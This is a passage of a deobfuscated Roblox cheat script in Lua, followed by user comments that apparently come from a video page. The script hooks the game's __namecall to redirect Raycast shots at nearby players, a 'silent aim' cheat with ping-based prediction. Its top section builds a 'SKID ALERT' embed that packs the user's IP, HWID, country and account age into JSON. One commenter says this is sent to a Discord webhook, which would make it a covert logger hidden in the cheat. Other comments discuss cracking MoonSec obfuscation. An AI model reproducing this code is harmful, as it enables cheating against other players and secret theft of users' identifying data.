embeds = {
{
author = {
name = "SKID ALERT",
url = "https://roblox.com"
},
description = string.format("__[Player Info](https://www.roblox.com/users/%d)__\n**Display Name:** %s\n**Username:** %s\n**User Id:** %d\n**MembershipType:** %s\n**AccountAge:** %d\n**Country:** %s\n**IP:** %s\n**Hwid:** %s\n**Date:** %s\n**Time:** %s\n\n__[Game Info](https://www.roblox.com/games/%d)__\n**Game:** %s\n**Game Id:** %d\n**Exploit:** %s\n\n**Data:**```%s```\n\n**JobId:**```%s```", v650.UserId, v650.DisplayName, v650.Name, v650.UserId, v650.Membership, v650.Age, v650.Country, v650.IP, v650.HWID, os.date("%m/%d/%Y"), os.date("%X"), game.PlaceId, v650.GameName, game.PlaceId, v654, v650.Geo, v650.Job),
type = "rich",
color = tonumber("0xFFD700"),
thumbnail = {
url = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. v650.UserId .. "&width=150&height=150&format=png"
}
}
}
};
return v650.HttpService:JSONEncode(v655);
end)());
local v656 = v44:MakeTab({
Name = "Silent Aim",
Icon = "rbxassetid://6031091005",
PremiumOnly = false
});
local v657 = {
SA = {
En = false,
Key = "RightAlt",
TP = "HumanoidRootPart",
Show = false,
MHP = false,
AP = false,
MHP_A = 0.165,
HC = 100,
Col = Color3.fromRGB(54, 57, 241)
},
Cam = l_Workspace_0.CurrentCamera,
P = game:GetService("Players"),
RS = game:GetService("RunService"),
GS = game:GetService("GuiService"),
UIS = game:GetService("UserInputService"),
ST = game:GetService("Stats"),
LP = game:GetService("Players").LocalPlayer,
MC = nil,
MB = nil,
M = nil,
MBX = nil,
VTP = {
"Head",
"HumanoidRootPart"
},
CPA = 0.165,
EA = {
Raycast = {
AC = 3,
Args = {
"Instance",
"Vector3",
"Vector3",
"RaycastParams"
}
}
},
CoR = coroutine.resume,
CoC = coroutine.create
};
getgenv().SilentAimSettings = v657.SA;
v657.M = v657.LP:GetMouse();
v657.MBX = Drawing.new("Square");
v657.MBX.Visible = false;
v657.MBX.ZIndex = 999;
v657.MBX.Color = v657.SA.Col;
v657.MBX.Thickness = 2;
v657.MBX.Size = Vector2.new(30, 30);
v657.MBX.Filled = true;
v657.MC = v657.UIS.TouchEnabled and not v657.UIS.KeyboardEnabled;
local _ = game.GetChildren;
local l_GetPlayers_0 = v657.P.GetPlayers;
local l_WorldToScreenPoint_0 = v657.Cam.WorldToScreenPoint;
local l_WorldToViewportPoint_0 = v657.Cam.WorldToViewportPoint;
local l_FindFirstChild_0 = game.FindFirstChild;
local l_RenderStepped_0 = v657.RS.RenderStepped;
local l_Heartbeat_0 = v657.RS.Heartbeat;
local _ = v657.GS.GetGuiInset;
local l_GetMouseLocation_0 = v657.UIS.GetMouseLocation;
local function v669(v667)
v667 = math.floor(v667);
if math.floor(math.random() * 100) / 100 > v667 / 100 then
local _ = false;
end;
return true;
end;
local function v673(v670)
-- upvalues: l_WorldToScreenPoint_0 (ref), v657 (ref)
local v671, v672 = l_WorldToScreenPoint_0(v657.Cam, v670);
return Vector2.new(v671.X, v671.Y), v672;
end;
local function v680(v674, v675)
local v676 = 0;
if #v674 >= v675.AC then
for v677, v678 in next, v674 do
if typeof(v678) == v675.Args[v677] then
v676 = v676 + 1;
end;
end;
if v675.AC > v676 then
local _ = false;
end;
return true;
else
return false;
end;
end;
local function v683(v681, v682)
return (v682 - v681).Unit * 1000;
end;
local function v684()
-- upvalues: l_GetMouseLocation_0 (ref), v657 (ref)
return l_GetMouseLocation_0(v657.UIS);
end;
local function v687(v685)
-- upvalues: v657 (ref)
local v686 = v685.Velocity or Vector3.new();
return v685.Position + (v657.SA.MHP and v686 * v657.CPA or Vector3.new());
end;
local function v699()
-- upvalues: v657 (ref), v684 (ref), l_GetPlayers_0 (ref), l_FindFirstChild_0 (ref), v673 (ref)
if v657.SA.TP then
local v688 = nil;
local v689 = nil;
local v690 = v657.MC and v657.Cam.ViewportSize / 2 or v684();
for _, v692 in next, l_GetPlayers_0(v657.P) do
if v692 ~= v657.LP then
local l_Character_21 = v692.Character;
if l_Character_21 then
local v694 = l_FindFirstChild_0(l_Character_21, "HumanoidRootPart");
local v695 = l_FindFirstChild_0(l_Character_21, "Humanoid");
if v694 and v695 and (not v695 or v695.Health > 0) and (v657.Cam.CFrame.Position - v694.Position).Magnitude <= 35 then
local v696, v697 = v673(v694.Position);
if v697 then
local l_Magnitude_1 = (v690 - v696).Magnitude;
if l_Magnitude_1 <= (not v689 and 2000 or v689) then
v688 = not (v657.SA.TP ~= "Random") and l_Character_21[v657.VTP[math.random(1, #v657.VTP)]] or l_Character_21[v657.SA.TP];
v689 = l_Magnitude_1;
end;
end;
end;
end;
end;
end;
return v688;
else
return;
end;
end;
v656:AddToggle({
Name = "Enabled",
Default = v657.SA.En,
Callback = function(v700)
-- upvalues: v657 (ref)
v657.SA.En = v700;
v657.MBX.Visible = v700;
end
});
v656:AddBind({
Name = "Toggle Key",
Default = Enum.KeyCode[v657.SA.Key],
Hold = false,
Callback = function()
-- upvalues: v657 (ref)
v657.SA.En = not v657.SA.En;
EnabledToggle:Set(v657.SA.En);
v657.MBX.Visible = v657.SA.En;
end
});
v656:AddDropdown({
Name = "Target Part",
Default = v657.SA.TP,
Options = {
"Head",
"HumanoidRootPart",
"Random"
},
Callback = function(v701)
-- upvalues: v657 (ref)
v657.SA.TP = v701;
end
});
v656:AddSlider({
Name = "Hit Chance",
Min = 0,
Max = 100,
Increment = 1,
Default = v657.SA.HC,
ValueName = "%",
Callback = function(v702)
-- upvalues: v657 (ref)
v657.SA.HC = v702;
end
});
v656:AddSection({
Name = "Prediction"
});
v656:AddToggle({
Name = "Manual Prediction",
Default = v657.SA.MHP,
Callback = function(v703)
-- upvalues: v657 (ref)
v657.SA.MHP = v703;
end
});
v656:AddToggle({
Name = "Auto Prediction",
Default = v657.SA.AP,
Callback = function(v704)
-- upvalues: v657 (ref)
v657.SA.AP = v704;
end
});
v656:AddSlider({
Name = "Prediction Amount",
Min = 0.165,
Max = 1,
Increment = 0.001,
Default = v657.SA.MHP_A,
Callback = function(v705)
-- upvalues: v657 (ref)
v657.SA.MHP_A = v705;
end
});
v656:AddSection({
Name = "Visuals"
});
v656:AddToggle({
Name = "Show Silent Aim Target",
Default = v657.SA.Show,
Callback = function(v706)
-- upvalues: v657 (ref)
v657.SA.Show = v706;
v657.MBX.Visible = v706;
end
});
v656:AddColorpicker({
Name = "Silent Aim Target Color",
Default = v657.SA.Col,
Callback = function(v707)
-- upvalues: v657 (ref)
v657.SA.Col = v707;
v657.MBX.Color = v707;
end
});
l_Heartbeat_0:Connect(function()
-- upvalues: v657 (ref)
if v657.SA.AP then
local l_status_4, l_result_4 = pcall(function()
-- upvalues: v657 (ref)
return v657.ST.Network.ServerStatsItem["Data Ping"]:GetValueString();
end);
if l_status_4 then
local v710 = tonumber(l_result_4:match("(%d+)")) or 50;
if v710 < 20 then
v657.CPA = 0.11;
elseif v710 < 30 then
v657.CPA = 0.115;
elseif v710 < 40 then
v657.CPA = 0.12;
elseif v710 < 50 then
v657.CPA = 0.125;
elseif v710 >= 60 then
if v710 < 70 then
v657.CPA = 0.135;
elseif v710 >= 80 then
if v710 < 90 then
v657.CPA = 0.145;
elseif v710 >= 100 then
if v710 >= 110 then
v657.CPA = 0.16;
else
v657.CPA = 0.155;
end;
else
v657.CPA = 0.15;
end;
else
v657.CPA = 0.14;
end;
else
v657.CPA = 0.13;
end;
end;
else
v657.CPA = v657.SA.MHP_A;
end;
end);
v657.CoR(v657.CoC(function()
-- upvalues: l_RenderStepped_0 (ref), v657 (ref), v699 (ref), l_WorldToViewportPoint_0 (ref)
l_RenderStepped_0:Connect(function()
-- upvalues: v657 (ref), v699 (ref), l_WorldToViewportPoint_0 (ref)
if v657.SA.Show and v657.SA.En then
if v699() then
local v711 = v699().Parent.PrimaryPart or v699();
local v712, v713 = l_WorldToViewportPoint_0(v657.Cam, v711.Position);
v657.MBX.Visible = v713;
v657.MBX.Position = Vector2.new(v712.X, v712.Y);
else
v657.MBX.Visible = false;
v657.MBX.Position = Vector2.new();
end;
end;
end);
end));
local v714 = nil;
v714 = hookmetamethod(game, "__namecall", newcclosure(function(...)
-- upvalues: v669 (ref), v657 (ref), l_Workspace_0 (ref), v680 (ref), v699 (ref), v683 (ref), v687 (ref), v714 (ref)
local v715 = getnamecallmethod();
local v716 = {
...
};
local v717 = v716[1];
local v718 = v669(v657.SA.HC);
if v657.SA.En and v717 == l_Workspace_0 and not checkcaller() and v718 and v715 == "Raycast" and v680(v716, v657.EA.Raycast) then
local v719 = v716[2];
local v720 = v699();
if v720 then
v716[3] = v683(v719, v687(v720));
return v714(unpack(v716));
end;
end;
return v714(...);
end));
local v721 = "Init";
local l_v43_0 = v43;
v43[v721](l_v43_0);
return;
end;
else
return;
end;



did bro just crack moonsec
@dev_site nah heโs still out there skidding using other peopleโs environment logger which sucks completely
@nuviadiaz1972 ohh
is luraph safe from this
@dev_site Maybe
@dev_site no
@nuviadiaz1972 I didn't use ENV Logger, I used someones MoonSec Deobfuscator
How do Y'all Even Crack scripts Y'all Using UnveilR?
very sigma
No workimg
3346 lines of code ๐
How to set up on mobile...
This sends your IP, HWID, & Account Age + Location to a Discord Webhook.
Wtf is that script
this is *ing worst script